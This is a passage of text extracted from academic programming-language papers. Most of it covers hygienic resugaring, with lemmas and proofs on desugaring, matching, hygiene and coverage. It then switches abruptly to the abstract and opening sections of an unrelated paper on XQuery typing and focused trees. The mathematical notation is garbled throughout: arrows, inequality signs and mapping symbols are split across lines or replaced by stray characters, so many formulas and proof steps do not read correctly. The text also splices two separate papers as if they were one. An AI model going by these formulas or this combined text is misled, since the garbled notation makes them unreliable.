
R1(nodea(n,−→si )) = new b. nodeb(n,
−−−−−−−−→
JβiK (−→σj) • ti) ↑ JβK (−→σj) when

−−−−−−−−−−−→
R1(si) = ti ↑ σi

and sign(n) =
−−→
(βi) ↑ β

t //C 7→ C

t //αi = αi
val(v) // val(v) = val(v)
decl(xu) // decl(xv) = decl(xu)
ref(xu) // ref(xv) = ref(xu)

nodea(n,
−→
ti ) // nodea(n,

−→
Ci) = nodea(n,

−−−−→
ti //Ci)

findThreats(t, {xu, ...}) 7→ {xu, ...}
findThreats(val(val), S) = ∅
findThreats(ref(xu), S) = {xu} when {xu′ ∈ S | u 6= u′} 6= ∅
findThreats(ref(xu), S) = ∅ otherwise
findThreats(decl(xu), S) = ∅

findThreats(nodea(n,
−→
ti ), S) =

⋃ −−−−−−−−−−−−−−−−−−−−−−−−−−→
findThreats(ti, S ∪ JβiK (

−−−−−−−→
exports(tj))) when sign(n) =

−−→
(βi) ↑ β

renameThreats(t, xu 7→ xu) 7→ t

renameThreats(val(val), f) = val(val)
renameThreats(ref(xu), f) = ref(f(xu))
renameThreats(decl(xu), f) = decl(f(xu))

renameThreats(nodea(n,
−→
ti ), f) = node(n,

−−−−−−−−−−−−−−→
renameThreats(ti, f))

exports(t) 7→ {xu, ...}
exports(val(val)) = ∅
exports(ref(xu)) = ∅
exports(decl(xu)) = {xu}
exports(nodea(n,

−→
ti )) = JβK (

−−−−−−→
exports(ti)) when sign(n) =

−−→
(βi) ↑ β

Figure 4. Resolution and Unresolution

t /C 7→ Σ

t / αi = αi → t
val(v) / val(v) = ε
decl(xu) / decl(xu) = ε
ref(xu) / ref(xu) = ε

nodea(n,
−→
ti ) / nodea(n,

−→
Ci) = t1 /C1 + t2 /C2 + ...

Figure 6. Matching

inverses of one another: substitution is an inverse of matching and,
given a reasonable precondition, matching is an inverse of substi-
tution. Recall that we call the “pattern variables” in a pattern holes,
and let holes(C) be the set of all holes in the pattern. Then:

Lemma 3. For all patternsC and substitutions Σ, if domain(Σ) =
holes(C), then (Σ • C) /C = Σ

Proof. Induct on C. In the inductive case,

(Σ • nodea(n,
−→
Ci)) / nodea(n,

−→
Ci)

= nodea(n,
−−−−→
Σ • Ci) / nodea(n,

−→
Ci)

= (Σ • C1) /C1 + (Σ • C2) /C2 + ...
= Σ1 + Σ2 + ... (by I.H.)
= Σ

where Σi is Σ restricted to the holes of Ci. The last step relies on
holes occurring at most once in C.

Lemma 4. For all terms t and patterns C, if t /C exists then
(t /C) • C = t

Proof. Induct on C. In the inductive case,
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(nodea(n,
−→
ti ) / nodea(n,

−→
Ci)) • nodea(n,

−→
Ci)

= (t1 /C1 + ...) • nodea(n,
−→
Ci)

= nodea(n,
−−−−−−−−−−−−→
(t1 /C1 + ...) • Ci)

= nodea(n,
−−−−−−−−→
(ti /Ci • Ci)

= nodea(n,
−→
ti ) (by I.H.)

(The second to last step is valid because for
nodea(n,

−→
ti ) / nodea(n,

−→
Ci) to exist, (t1 /C1 + ...) must all be

disjoint, and ti /Ci binds all holes in Ci.)

4.2 Desugaring and Resugaring
Now we can define desugaring and resugaring operations that
translate ASDs in the surface language to ASDs in the core language
and back.

Desugaring uses a helper function called expand that expands
a single piece of syntactic sugar in a term. Expand looks up a
desugaring function to apply based on the term’s topmost node and
applies it. This function can be Turing-complete, and is written
in the host language. In order for resugaring to work, however,
desugaring must be compositional, i.e., it must be parametric over
its subterms. Hence, instead of expanding the entire term t at once,
expand will first split it into a pattern and subterms, and then only
expand the pattern C to a new pattern C′. Expand then returns the
pair (C,C′) of the old and new pattern.

Desugaring of a term t thus proceeds by calling expand(t) to
obtain the pair of patterns (C,C′), using matching and substitution
to rewrite C to C′, and recursively substituting the desugared
subterms of t. The newly desugared term will be wrapped in a tag
noting the original and new patterns. Later, resugaring will make
use of these tags to undo each of the desugaring functions.

Desugaring makes use of two operations over nodes.
sugars(n)(C) looks up the desugaring function associated with
node type n and applies it to pattern C, and head(t) splits the term
t to obtain the pattern C to be desugared. The pattern returned by
head(t) may need to be more than just the topmost node of t. Take,
for instance, a multi-armed let construct like let x = 4, y = x
in x + y. One way of representing this term in our system is:

node(Let,
node(Bind, decl(x), node(Num, val(4)),
node(Bind, decl(y), ref(x)),

node(EndBinds))),
node(Plus, ref(x), ref(y)))

It would be important for Let’s desugaring function to be given all
of its bindings, so the pattern returned by head in this case should
be:

node(Let,
node(Bind, α1, α2,

node(Bind, α3, α4,
node(EndBinds))),

α5)

While head could in principle be a complicated function, we be-
lieve in practice it is sufficient to partition nodes into primary nodes
like Let that can stand on their own, and secondary nodes like Bind
and EndBinds that are merely part of the node above them; thus we
define head in terms of a is-primary predicate. is-primary will re-
turn true for values, declarations, and references; it is language
specific for nodes.

Desugaring is formally defined in Fig. 7, and resugaring in
Fig. 8.3 Desugaring and resugaring are overloaded to act on substi-

3 Notice that resugaring begins with a resolve step: this is only really
necessary in case evaluation copies a term, thus breaking the invariant that
variable declarations in resolved terms all have unique subscripts.

desugar(t) 7→ t

desugar(t) = ⇓ (R(t))

⇓ nodea(n,
−→
ti ) = tagC⇒C′ (⇓ (t /C) • C′)

when expand(t) = (C,C′)

where t = nodea(n,
−→
ti )

⇓ t = t otherwise

expand(t) 7→ (C,C)

expand(nodea(n,
−→
ti )) = (C,C′)

when head(nodea(n,
−→
ti )) = C

andR(sugars(n)(C)) = C′

head(t) 7→ C

head(nodea(n,
−→
ti )) = nodea(n,

−−−−−−→
headrec(ti))

when is-primary(n)

headrec(nodea(n,
−→
ti )) = nodea(n,

−−−−−−→
headrec(ti))

when not(is-primary(n))
headrec(t) = new i. αi otherwise

Figure 7. Desugaring

resugar(t) 7→ t or FAIL

resugar(t) = U(⇑ (R(t)))
⇑ (tagC⇒C′ t) = (⇑ (t /C′)) • C

(or FAIL if t /C′ does not match)
⇑ nodea(n,

−→
ti ) = FAIL

⇑ t = t otherwise

Figure 8. Resugaring

tutions in the obvious way, e.g., ⇓ (α→ t) = α→ (⇓ t). Desugar-
ing and resugaring are inverses of one another, up to a permutation
of variables.

To show this, we will rely on terms having honest tags:

Definition 3. A term has honest tags when for each subterm of the
form tagC⇒C′ t, t = (t /C′) • C′.

Lemma 5. For all terms t with honest tags, if ⇑ t 6= FAIL then
⇓⇑ t ' t.

Proof Sketch. Proceed by induction on t. The interesting case is
when the term t is tagged:

⇓⇑ tagC⇒C′ t = ⇓ ((⇑ (t /C′)) • C)
with (C,C′) = expand(t′) for some t′

= tagC⇒C′′ ⇓ ((⇑ (t /C′)) • C) /C) • C′′

where expand(⇑ (t /C′)) = (C,C′′)
and C′ ' C′′

= tagC⇒C′′ ⇓⇑ (t /C′) • C′′
by Lemma 3

' tagC⇒C′′ (t /C′) • C′′
by I.H.

' tagC⇒C′ t
by Lemma 4

The first step (which introduces t′) relies on the tags having been
produced by a call to expand.

Lemma 6. For all terms t, ⇑⇓ t = t.
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Proof. Proceed by induction on t. The interesting case is where the
term t is not atomic:

⇑⇓ t = ⇑ tagC⇒C′ (⇓ (t /C) • C′)
with expand(t) = (C,C′)

= ⇑ ((⇓ (t /C) • C′) /C′) • C
= ⇑⇓ (t /C) • C by Lemma 3
= (t /C) • C by I.H.
= t by Lemma 4

(The side condition for Lemma 3 uses the fact that
domain(t /C) = holes(C) = holes(C′).)

Lemma 7. For all terms t,R(⇑R(t)) ' ⇑R(t)

Proof. The witness permutation is the mapping the second R en-
acts on variable declarations. This mapping exists since resugar-
ing can neither drop nor duplicate variables. Now we must show
that variable references are acted upon by the second R the same
way as their corresponding declarations. This amounts to asking
weather each variable reference ref(xu) is in scope of exactly
its declaration decl(xu). It is: it cannot be in scope of any other
declaration, because the first call to R gave them all distinct sub-
scripts, and it cannot be out of scope of its decl(xu) because that
would mean that resugaring caused an identifier to become un-
bound, which could only happen if the initial program contained
an unbound identifier.

The previous paper on resugaring gave three properties that help
define its correctness. We mirror them here.

The first property, Emulation, says that the resugared sequence
is faithful to the core sequence it is supposed to represent.

Theorem 1 (Emulation). Every surface term desugars to (a term
isomorphic to) the core term it purports to represent.

Proof. We want to show that if a surface term t′ = resugar(t) is
shown, then desugar(t′) ' R(t).

desugar(t′) = desugar(resugar(t))
= ⇓ (R(U(⇑ (R(t)))))
' ⇓ (R(U(R(⇑ (R(t)))))) by Lemma 7
' ⇓ (R(⇑ (R(t)))) by Lemma 1
' ⇓ (⇑ (R(t))) by Lemma 7
' R(t) by Lemma 5

The second property, Abstraction, says that surface terms are
not “made up”, but rather originate from the initial program. We
give a stronger statement about Abstraction here than was given in
the previous work; this is possible because nodes have identity.

Theorem 2 (Abstraction). If a term is shown in the reconstructed
surface evaluation sequence, then each non-atomic part of it orig-
inated from the original program and has honest tags. (Assuming
that evaluation does not modify tags.)

Proof. Let R(t) be the original program, let t0 = ⇓R(t), and
suppose the program took i steps t0 → ... → ti before being
shown as t′i = ⇑ ti. For resugaring to have succeeded, ti must be
composed from patterns of the form tagC⇒C′ C

′ (implying that
the tags of t are honest). After resugaring, the atomic terms are left
as they are, and each pattern tagC⇒C′ C

′ becomes C. Likewise,
each pattern tagC⇒C′ C

′ can be traced back through evaluation to
the desugaring of the original program, so tagC⇒C′ C

′ appears in
t0 and C appears inR(t).

The third property, Coverage, says that “as many surface evalu-
ation steps are shown as possible”. It was dealt with purely infor-
mally in the previous paper, but now we formally give in Section 5
a sufficient condition for surface steps to be shown.

4.3 Hygiene
Finally, we can show that desugaring and resugaring are hygienic
in the sense put forward by Herman and Wand [7]. They proposed
the strong statement that if two terms in the surface language are α-
equivalent, then their desugarings are α-equivalent; we will prove
this for our system.

Recall that we define s =α t to mean that R(s) ' R(t);
thus the question of whether a function respects α-equivalence can
sometimes be reduced to one of whether it is equivariant: whether it
respects terms that only differ up to a permutation of their variables.
(Equivariance is a concept from Nominal Logic [5].) ⇓ and ⇑ are
equivariant.

Lemma 8 (⇓ is equivariant). If s ' t, then ⇓ s ' ⇓ t.

Proof sketch. head is equivariant, and sugars(n) is trivially equiv-
ariant when applied to the patterns obtained from head since they
do not contain variables. Thus expand is equivariant, in the sense
that if s ' t and expand(s) = (Cs, C

′
s) and expand(t) = (Ct, C

′
t),

then ∃σ∗, Cs = σ∗ • Ct and C′s = σ∗ • C′t. To show that ⇓
is equivariant, we have to show that for all σ and t, ⇓ (σ • t) =
σ′ • ⇓ t for some σ′.

If t is not a node, ⇓ (σ • t) = σ • t = σ • ⇓ t. Otherwise,
let expand(t) = (C,C′) and expand(σ • t) = (σ∗ • C, σ∗ • C′).
Then:

⇓ (σ • t) = tagσ∗•C⇒σ∗•C′ (((σ•t) / (σ∗•C)) • (σ∗•C′))
= tagσ∗•C⇒σ∗•C′ σ

∗ • ((t /C) • C′)
= σ∗ • tagC⇒C′ ((t /C)•C′)
= σ∗ • ⇓ t

(The second step uses the fact that σ and σ∗ must be identical when
restricted to the variables of C.)

Lemma 9 (⇑ is equivariant). If s ' t, then ⇑ s ' ⇑ t.

Proof. It suffices to show that ⇑ (σ • s) = σ • ⇑ s for all s and σ.
Induct on s; in the inductive case s = tagC⇒C′ t:

⇑ (σ • s) = ⇑ tagσ•C⇒σ•C′ σ • t
= (⇑ (σ • t / σ • C′)) • (σ • C)
= (σ • ⇑ (t /C′)) • (σ • C) (by I.H.)
= σ • ((⇑ (t /C′)) • C)
= σ • ⇑ tagC⇒C′ t
= σ • ⇑ s

While U is not equivariant (for example, it transforms
(λx1. x1)(λx2. x2) into (λx. x)(λx. x)), it does respect
α-equivalence.

Lemma 10 (U respects α-equivalence of resolved terms). If s =α

t and s = R(s′) and t = R(t′), then U(s) =α U(t).

Proof. By the definition of (=α), we want to show thatR(U(s)) '
R(U(t)), knowing just that R(s) ' R(t). First, use Lemma 1 to
see that:

R(U(s)) = R(U(R(s′))) ' R(s′) = s

R(U(t)) = R(U(R(t′))) ' R(t′) = t

Thus,R(U(s)) ' R(R(U(s))) ' R(s) ' R(t) '
R(R(U(t))) ' R(U(t)) (using the fact that R(R(t)) = t for all
terms t).
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Theorem 3 (Hygiene). If s =α t then desugar(s) =α desugar(t).
Likewise, if s =α t then resugar(s) =α resugar(t).

Proof.

desugar(s) = ⇓ (R(s)) ' ⇓ (R(t)) = desugar(t)

The middle step is valid because R(s) ' R(t) by the assumption
that s =α t and because ⇓ is equivariant by Lemma 8.

resugar(s) = U(⇑ (R(s)))
' U(R(⇑ (R(s)))) by Lemma 7
' ⇑ (R(s)) by Lemma 1
' ⇑ (R(t))
' U(R(⇑ (R(t)))) by Lemma 1
' U(⇑ (R(t))) by Lemma 7
= resugar(t)

5. From Individual Terms to Evaluation
Sequences

We have proved three properties about resugaring: Emulation, Ab-
straction, and hygiene. All three of these properties, however, only
talk about individual terms, not entire evaluation sequences. In par-
ticular, not every core step will be resugared to a surface evaluation
step; sometime a core term cannot be resugared so the correspond-
ing surface step will be skipped. Recall the final example (column
3) in Fig. 1. The third core evaluation step (where the outer if
is evaluated away) is skipped. We can now better justify it being
skipped: showing a surface term for it would violate Abstraction,
since this term does not have honest tags — the tag claims that the
if node has one identity (which originated from sugar), while it
actually has another (which originated from user code).

Here is the full core evaluation sequence. We omit a couple
of evaluation steps where a constant simplifies to a value, such as
VERBOSE→ true. We also omit node subscripts, since they won’t
be relevant to the discussion:

let port = 80 in
[C1 ⇒ C2]
let port = if true then

(if VERBOSE
then STDERR
else DEVNULL)
else DEVNULL in

write("Port: " + to str(•), •)
↓

[C1 ⇒ C2]
let port = if true then

(if VERBOSE
then STDERR
else DEVNULL)
else DEVNULL in

write("Port: " + to str(80), •)
↓

[C1 ⇒ C2]
let port = if VERBOSE

then STDERR
else DEVNULL in

write("Port: " + to str(80), •)
↓

[C1 ⇒ C2]
let port = STDERR in
write("Port: " + to str(80), •)

↓

write("Port: " + to str(80), STDERR)
↓

write("Port: " + "80", STDERR)
↓

write("Port: 80", STDERR)
↓

void

The surface evaluation sequence, however, is much more sparse:

let port = 80 in
log "Port: " + to str(•)
to (if VERBOSE then STDERR else DEVNULL)
when true

↓
log "Port: " + to str(80)
to (if VERBOSE then STDERR else DEVNULL)
when true

↓
void

We have argued that it is good that the third core evaluation step
was not resugared. But it should be worrisome that all the other
steps were skipped as well. It would be nice, for instance, to show
evaluation steps for the string being logged:

log "Port: " + to str(80)
to (if VERBOSE then STDERR else DEVNULL)
when true

↓
log "Port: " + "80"
to (if VERBOSE then STDERR else DEVNULL)
when true

↓
log "Port: 80"
to (if VERBOSE then STDERR else DEVNULL)
when true

These steps were not shown, however, since it would break the
Emulation property. Since the sugar’s let has been substituted
away by the time these string operations are performed, these
hypothetical surface steps would not desugar into the actual core
evaluation steps.

Fortunately, the log sugar can be refactored to show these steps,
simply by let-binding the message to be printed:

log α to β when γ
⇓

let msg = α in
let port = if γ then β else DEVNULL in

write("Port: ", msg, port)

After this change, the reductions for the message argument to
log are shown. We will not show the entire evaluation sequence,
but one of the core steps is:

[C1 ⇒ C2]
let msg = "Port: " + "80" in
let port =

if VERBOSE then STDERR else DEVNULL in
write(msg, •)

which gets resugared to the surface term:

log "Port: " + "80"
to (if VERBOSE then STDERR else DEVNULL)
when true

While this particular instance of calling the log sugar shows
nice surface steps, the fact that the sugar had to be rewritten begs
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the question of whether it must in all cases. We will use the phrase
coverage to talk about the number of steps a sugar shows: a sugar
with good coverage shows many steps in the reconstructed surface
evaluation sequence. In this section, we introduce theory to help
show when this is the case. For this particular sugar, we will be
able to apply the general theory to show that, whenever α→ α′,

log α to β when γ → log α′ to β when γ

Towards this end, we will first talk about evaluation contexts (a
traditional concept) and non-evaluation contexts (a new concept),
then state a general Coverage theorem, and then show how that
theorem can be applied in this case.

Terminology Switch To better match typical terminology, we will
now switch to calling patterns C as contexts, and write the substi-
tution of α1 → t1, ..., αk → tk into the context C as C[t1, ..., tk].

5.1 Evaluation Contexts and Non-evaluation Contexts
Evaluation contexts [4] are contexts of a single hole obeying certain
syntactic criteria. In our setting, it is possible that the terms plugged
into the evaluation context’s hole depend on the evaluation context;
hence we will instead work with enclosing evaluation contexts
E, t1, ..., tk, where E is an evaluation context and t1, ..., tk are
terms (that may depend on E and each other). Evaluation contexts
typically enjoy the following properties, which we will make use
of:

Step If E[t] takes a step, then E[t]→ E[t′] for some t′.

Composition If E1 and E2 are evaluation contexts, then so is
E1[E2].

Independence If E[α, t1, ..., tk] is an evaluation context over
α and E[t, t1, ..., tk] → E[t′, t1, ..., tk], and E[α, t′1, ..., t

′
k]

is also an evaluation context over α, then E[t, t′1, ..., t
′
k] →

E[t′, t′1, ..., t
′
k]. (In other words, the reduction of a redex does

not depend on things outside of it, except insofar as they may
cause the redex to be located elsewhere.)

In our running example, for any terms t1 and t2, the context
E[α] defined by:

let msg = α in
let port = if t1 then t2 else DEVNULL in

write("Port: ", msg, port)

is an evaluation context.
To state the Coverage theorem, we will need a related but new

concept, called a non-evaluation context. A non-evaluation context
is the opposite of an evaluation context: its redex (the next subterm
within it to be reduced) is outside of its holes. Using the same
example, for any term t that can take a step, the context C[β, γ]
defined by:

let msg = t in
let port = if β then γ else DEVNULL in

write("Port: ", msg, port)

is a non-evaluation context. In general, a non-evaluation context is a
contextC[α1, ..., αn] that can be written asC′[t, α1, ..., αn] where
for all t1, ..., tk, C′[α, t1, ..., tn] is an evaluation context over α.

5.2 Evaluation Steps for Non-evaluation Contexts
The Coverage theorem we will use to prove that a sugar will show
certain steps will be built up in two parts. First, we will lift the
notion of evaluation to apply to non-evaluation contexts, so that it
makes sense not only to talk about a term taking a step t → t′,
but also of a non-evaluation context C taking a step C → C′. The
Coverage theorem will then lift this notion to surface terms as well.

Lemma 11. Let C be a non-evaluation context.

If ∃E, t1, ..., tk. E[C[t1, ..., tk]]→core E[C′[t1, ..., tk]]
then ∀E, t1, ..., tk. E[C[t1, ..., tk]]→core E[C′[t1, ..., tk]]

Proof. Let E, t1, ..., tk be the existentially quantified variables and
E′, t′1, ..., t

′
k be the universally quantified ones. By the definition

of non-evaluation contexts, C[α1, ..., αk] = E∗[t∗, α1, ..., αk]
(for some E∗, t∗, where E∗ is an evaluation context over its first
hole). By the composition property above, E[E∗] and E′[E∗] are
evaluation contexts. By the step property, there exists a term t∗∗

such that:

E[C[t1, ..., tk]] = E[E∗[t∗, t1, ..., tk]]
→ E[E∗[t∗∗, t1, ..., tk]]
= E[C′[t1, ..., tk]]

and by the independence property,

E′[C[t′1, ..., t
′
k]] = E′[E∗[t∗, t′1, ..., t

′
k]]

→ E′[E∗[t∗∗, t′1, ..., t
′
k]]

= E′[C′[t1, ..., tk]]

When this holds, we will say thatC → C′, and whenC1 → C2 →
... → Cn, we will say that C1 →∗ Cn. Thus we can talk about
evaluation steps for non-evaluation contexts in the core language.

Finally, we can state the Coverage theorem that generalizes the
previous lemma to also work on surface terms that must be desug-
ared before being evaluated (→∗core refers to actual evaluation steps
in the core language, and→∗surf refers to reconstructed evaluation
steps in the surface language):

Theorem 4 (Coverage). If desugar(C) →∗core desugar(C′), then
∀E, t1, ..., tk, E[C[t1, ..., tk]]→∗surf E[C′[t1, ..., tk]]

Proof. We just have to show that ⇓ (E[C[t1, ..., tk]]) →∗core
⇓ (E[C′[t1, ..., tk]]), given the hypothesis. Using the above lemma
and the fact that desugaring is compositional:

⇓ (E[C[t1, ..., tk]]) = ⇓E[⇓C[⇓ t1, ...,⇓ tk]]
→∗core ⇓E[⇓C′[⇓ t1, ...,⇓ tk]]

= ⇓ (E[C′[t1, ..., tk]])

Similarly to the previous lemma, when this holds, we will say
that C →surf C

′, and when C1 →surf C2 →surf ... →surf Cn,
we will say that C1 →∗surf Cn. Thus we can talk about evaluation
steps for non-evaluation contexts in the surface language.

Let us illustrate this theorem with our log example. Suppose
that t → t′ for some terms t and t′. Since the context E[α] given
by

let msg = α in
let port = if t1 then t2 else DEVNULL in

write("Port: ", msg, port)

is an evaluation context, we know that E[t]→ E[t′].
Next, define Ccore[β, γ] to be the non-evaluation context given

by:

let msg = t in
let port = if β then γ else DEVNULL in

write(msg, port)

and C′core[β, γ] to be the non-evaluation context:

let msg = t′ in
let port = if β then γ else DEVNULL in

write(msg, port)
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Likewise, define Csurf [β, γ] to be a context in the surface
language that desugars to Ccore:

log "Port: " + t to β when γ

and C′surf to be the surface context with t′:

log "Port: " + t′ to β when γ

By Lemma 11, Ccore → C′core. And by the coverage theorem,
using the fact that ⇓Csurf = Ccore and ⇓C′surf = C′core, we
learn that for all β and γ,

log t to β when γ → log t′ to β when γ

6. Implementation
We have implemented a prototype of this system and tested it on
a simple language. Implementing this system for a real language
in the wild requires the same effort as that discussed in previous
work [13, section 7]. In particular, a core evaluation sequence needs
to be obtained; this sequence is the starting point for resugaring
(which attempts to resugar each core term). This can be obtained
by instrumenting the evaluator, or by modifying the program be-
fore evaluating it. Any system that works by syntactic rewriting
and exposes intermediate syntactic terms—such as some theorem
provers and term-rewriting systems—would be even easier to adapt
to work with our resugarer, so long as it is amenable to representing
terms as ASDs.

7. Related Work
There is a long history of trying to relate compiled code back to
its source. This problem is especially pronounced in debuggers for
optimizing compilers [6]. The previous work on resugaring [13]
describes these in more detail and explains why they address a
strictly weaker problem (relating locations rather than reconstruct-
ing terms, and not providing semantic guarantees); the same rela-
tionship applies to our work. Compared to the previous resugaring
work, we have discussed the use of ASDs and scope resolution in
order to (i) achieve hygiene, and (ii) give stronger formal proper-
ties: see Coverage in Theorem 4 and Abstraction in Theorem 2.

Van Deursen et al. [17] formalize the concept of tracking the
origins of terms within term rewriting systems (which in their case
represent the evaluator, not the syntactic sugar as in our case).
They go on to show various applications, including visualizing pro-
gram execution, implementing debugger breakpoints, and locating
the sources of errors. Their work does not involve the use of syntac-
tic sugar, however, while our work hinges on the interplay between
syntactic sugar and evaluation. Nevertheless, we have adopted their
notion of origin tracking for our transformations.

We now list several related works that served as inspiration for
or are related to our work, or could be used in place of some of our
components. None of these, however, actually offers resugaring,
which is our principal focus.

Specifying Binding Structure There is a plethora of languages
for specifying the binding structure for a programming language.
We choose the binding algebra of Romeo [16] because it is pow-
erful enough to specify, e.g. let, let*, and letrec, while still
being strongly compositional in a way that allows ourR and U op-
erations to have a simple inductive definition. There are, however,
many other binding specification languages of equal merit. Bind-
ing specification in the Ott semantic engineering tool [14] is very
similar to Romeo’s. Likewise, Weirich et al. give a set of binding
combinators in Haskell of similar power [18].

Neron et al. [11] introduce scope graphs as a formal representa-
tion for binding structure. Scope graphs are more powerful than

other binding structure representations in that they handle mod-
ule scope. While scope graphs represent binding structure, how-
ever, they do not specify how to obtain it (a crucial requirement
for our use): this is left for other systems such as the group’s pre-
vious NaBL name binding language [9]. While NaBL itself lacks
expressive power—it cannot describe the binding structure of, e.g.,
let*—we believe our work could be adapted to work with scope
graphs on top of a different binding declaration language.

In contrast to these efforts, the typed HOAS [12] and PHOAS [2]
efforts are excellent representations of abstract syntax, but do not
say how to construct that syntax in a language-agnostic way. We
therefore believe it would take much more effort to utilize them for
scope resolution. Nevertheless, our work is largely agnostic to the
differences between these systems so long as they can satisfy the
core needs of scope resolution: taking a surface term and the scop-
ing rules for the surface language and assigning fresh subscripts to
all variable declarations.

Hygienic Transformations A detailed comparison of our ap-
proach to hygiene against traditional hygienic algorithms is given
in Section 3.

Traditional approaches to hygiene suffered from an inability to
formally state a general specification for hygiene. The difficulty
is that the real goal for hygiene is for macros (or syntactic sugar)
to preserve α-equivalence, but α-equivalence is typically only de-
fined for the core language. Thus Herman and Wand advocate that
macros specify the binding structure of the constructs they intro-
duce, and build a system that does so [7]. Romeo follows in these
footsteps with a more powerful system. We use Romeo’s binding
algebra to specify surface language α-equivalence, thus allowing
the direct statement of hygiene in Theorem 3: desugaring (and re-
sugaring) preserve α-equivalence.

An interesting alternative approach is put forward by Erdweg
et al. with the name-fix algorithm [3]. name-fix also makes use of
scope resolution, albeit in a different way than we do. Instead of
using scope resolution to avoid capture in the first place, name-fix
uses it to detect capture and rename variables as necessary to repair
it after the fact. Both name-fix and our system assume that nodes
have identity, but we make the additional assumption that variables
have subscripts that can be set by the resolution algorithm. We also
give a general algorithm for resolving scope given scoping rules
for a language, whereas name-fix assumes the resolution function
is provided to it.

A recent piece of work on hygienic transformations by Adams [1]
advances the theory of hygiene by giving a relatively algorithm-
independent notion of hygiene, and using it to derive an elegant
hygienic transformer. We are able to show a more direct definition
of hygiene (preserving α-equivalence), in exchange for requiring
the scope of the surface language to be declared, which Adams
avoids in keeping with the hygiene tradition.
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Abstract
XQuery is a functional language dedicated to XML data querying
and manipulation. As opposed to other W3C-standardized languages
for XML (e.g. XSLT), it has been intended to feature strong static
typing. Currently, however, some expressions of the language cannot
be statically typed with any precision. We argue that this is due to
a discrepancy between the semantics of the language and its type
algebra: namely, the values of the language are (possibly inner)
tree nodes, which may have siblings and ancestors in the data. The
types on the other hand are regular tree types, as usual in the XML
world: they describe sets of trees. The type associated to a node
then corresponds to the subtree whose root is that node and contains
no information about the rest of the data. This makes navigation
expressions using ‘backward axes,’ which return e.g. the siblings of
a node, impossible to type.

We discuss how to handle this discrepancy by improving the
type system. We describe a logic-based language of extended types
able to represent inner tree nodes and show how it can dramatically
increase the precision of typing for navigation expressions. We
describe how inclusion between these extended types and the
classical regular tree types can be decided, allowing a hybrid system
combining both type languages. The result is a net increase in
precision of typing.

Categories and Subject Descriptors D.3.3 [Programming Lan-
guages]: Language Constructs and Features—Abstract data types;
F.3.2 [Logics and Meanings of Programs]: Semantics of Program-
ming Languages—Operational semantics; F.3.3 [Logics and Mean-
ings of Programs]: Studies of Program Constructs—Type structure

General Terms Languages, Theory, Verification

Keywords XQuery, XML, regular tree types, µ-calculus

1. Introduction
XQuery is a functional language with some unusual features. The
standard which defines it [6, 17] describes, among other things,
a formal semantics for a core fragment of the language, rules to
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compile the full language into its core fragment, and a static type
system.

Although it is Turing-complete, this language is not general-
purpose; it is designed for manipulating XML data, in various ways.
Its type system is thus built around regular tree types, as usual for
XML. The values of the language, however, are not trees or forests,
but sequences of pointers to tree nodes. These pointers can point
anywhere in the tree, not only at the root, and it is always possible,
given such a pointer, to get pointers to its parent and sibling nodes.
Furthermore, a sequence may contain pointers into different trees.

The formal semantics from the XQuery standard uses judgements
of the form DynEnv ` Expr ⇒ Val , where DynEnv is a store of
trees. Navigational expressions (e.g. getting the parent of a node) are
evaluated by looking up the initial pointer in the store, navigating in
there, and returning a pointer to the destination. However, XQuery
is designed as a pure functional language and all the trees in the
store are immutable1; the only expressions which update the store
are those which create a new tree, returning a pointer to its root.
Because of this purity, it is possible to describe the semantics of Core
XQuery without using an external store, but only reduction rules
for expressions, if we represent tree nodes as focused trees, a data
structure describing a whole tree ‘seen’ from a given internal node.
We believe that it makes it easier to reason about programs. This
will be our first contribution (Sec. 2). This formalization will allow
us to highlight a discrepancy between the semantics of XQuery
and its type language (Sec. 3.1): whereas the values manipulated
by the language consist of a subtree and a context, the types
describe only the subtree and say nothing of the context. Because
of this, expressions navigating upwards or between siblings can
only be given the most general type, which contains no information
whatsoever, regardless of the type of the initial node.

In order to solve this discrepancy, we then define (Sec. 3.2.1) a
logic whose formulas denote sets of focused trees rather than just of
trees, and discuss how it can be combined with the existing types to
yield a precise type system.

2. Syntax and Semantics of an XQuery Core
2.1 Values
2.1.1 Items and Sequences
XQuery programs manipulate two ‘levels’ of values: items and
sequences. In full XQuery, item values can be literals of various base
types (string, boolean etc.), functions (in XQuery 3.0 [34]), and tree
nodes. Base values and function values behave in a fairly standard
way in XQuery, so, in order to keep this paper to the point, we

1 Expressions used to make persistent changes to instances in the XQuery
data model are defined as a separate extension of the language [33].
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consider the fragment where all items are tree nodes. Furthermore,
we focus on the structure of XML trees and thus consider them
composed of only element nodes (with no text content or attributes).
This does not imply a loss of generality since literals and text could
be encoded as trees.

In XQuery, sequence values are flat lists of items. Nested
sequences do not exist. The result of evaluating an expression is
always a sequence.

Tree nodes are pointers to nodes which can be anywhere in
a tree, not necessarily at the root. Since the tree data structures
manipulated by XQuery are always immutable, we need not however
actually represent these node values as pointers into a shared data
structure defined in an external environment: we may represent
them as focused trees which contain all the information we need.
We detail this structure in the next subsection.

2.1.2 Focused Trees
In order to represent references to nodes of immutable trees, we
use focused trees, inspired by Huet’s Zipper data structure [26] in
the manner of [21]. Focused trees not only describe a tree but also
its context: its siblings and its parent, including its parent context
recursively. Formally, we assume an alphabet Σ of labels, ranged
over by σ. The syntax of our data model is as follows.

t ::= σ[tl ] tree
tl ::= ε | t :: tl list of trees
c ::= Top | (tl , c[σ], tl) context
f ::= (t, c) focused tree

A focused tree (t, c) is a pair consisting of a tree t and its context
c. The context is Top if the current tree is at the root. Otherwise,
it is of the form (tl , c[σ], tl) and comprises three components: a
list of trees at the left of the current tree in reverse order (the first
element of the list is the tree immediately to the left of the current
tree), the context above the tree, and a list of trees at the right of the
current tree. The context above the tree is of the form c[σ] where σ
is the label of the enclosing element and c is the context in which
the enclosing element occurs.

We now describe how to navigate focused trees, in binary style.
There are four directions that can be followed: for a focused tree
f , f 〈1〉 changes the focus to the first child of the current tree,
f 〈2〉 changes the focus to the next sibling of the current tree, f 〈1〉
changes the focus to the parent of the tree if the current tree is a
leftmost sibling, and f 〈2〉 changes the focus to the previous sibling.
Formally, we have:

DEFINITION 1.

(σ[t :: tl ], c) 〈1〉 def
= (t, (ε, c[σ], tl))

(t, (tl l, c[σ], t′ :: tlr)) 〈2〉
def
= (t′, (t :: tl l, c[σ], tlr))

(t, (ε, c[σ], tl)) 〈1〉 def
= (σ[t :: tl ], c)

(t′, (t :: tl l, c[σ], tlr)) 〈2〉
def
= (t, (tl l, c[σ], t′ :: tlr))

When the focused tree does not have the required shape, these
operations are not defined.

2.2 Expressions
The standard defining XQuery describes how to compile (‘normal-
ize’) expressions of the full language into a core fragment, called
the XQuery Core [17]. Although this part of the specification has
